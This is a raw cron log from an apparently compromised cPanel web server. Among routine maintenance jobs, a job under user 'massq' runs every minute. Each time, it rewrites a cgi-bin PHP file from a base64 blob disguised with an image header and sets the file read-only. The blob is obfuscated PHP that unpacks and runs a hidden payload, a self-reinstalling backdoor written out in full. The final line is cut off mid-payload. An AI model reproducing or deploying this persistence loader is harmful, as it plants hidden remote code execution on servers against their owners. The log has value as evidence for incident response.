Sep 10 20:10:01 server CROND[9667]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 20:10:01 server CROND[9669]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 20:10:01 server CROND[9671]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 20:10:01 server CROND[9670]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 20:10:01 server CROND[9672]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:10:01 server CROND[9675]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:10:01 server CROND[9673]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 20:10:01 server CROND[9674]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 20:11:01 server CROND[10674]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:11:01 server CROND[10675]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 20:11:01 server CROND[10676]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:12:01 server CROND[11055]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 20:12:01 server CROND[11057]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 20:12:01 server CROND[11058]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:12:01 server CROND[11056]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:13:01 server CROND[11601]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:13:01 server CROND[11600]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 20:13:01 server CROND[11599]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:14:01 server CROND[11981]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:14:01 server CROND[11982]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 20:14:01 server CROND[11983]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:15:01 server CROND[12401]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 20:15:01 server CROND[12402]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 20:15:01 server CROND[12403]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 20:15:01 server CROND[12405]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 20:15:01 server CROND[12407]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 10 20:15:01 server CROND[12408]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 10 20:15:01 server CROND[12406]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:15:01 server CROND[12409]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 20:15:01 server CROND[12411]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:16:01 server CROND[13345]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 20:16:01 server CROND[13346]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:16:01 server CROND[13347]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:17:02 server CROND[13721]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 20:17:02 server CROND[13722]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:17:02 server CROND[13723]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:18:01 server CROND[14119]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:18:01 server CROND[14120]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:18:01 server CROND[14121]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 20:19:01 server CROND[14545]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:19:01 server CROND[14546]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 20:19:01 server CROND[14547]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:20:01 server CROND[14931]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 20:20:01 server CROND[14932]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:20:01 server CROND[14933]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 20:20:01 server CROND[14934]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 20:20:01 server CROND[14942]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 20:20:01 server CROND[14935]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 20:20:01 server CROND[14950]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 20:20:01 server CROND[14951]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:20:01 server CROND[14949]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 20:21:01 server CROND[15979]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJ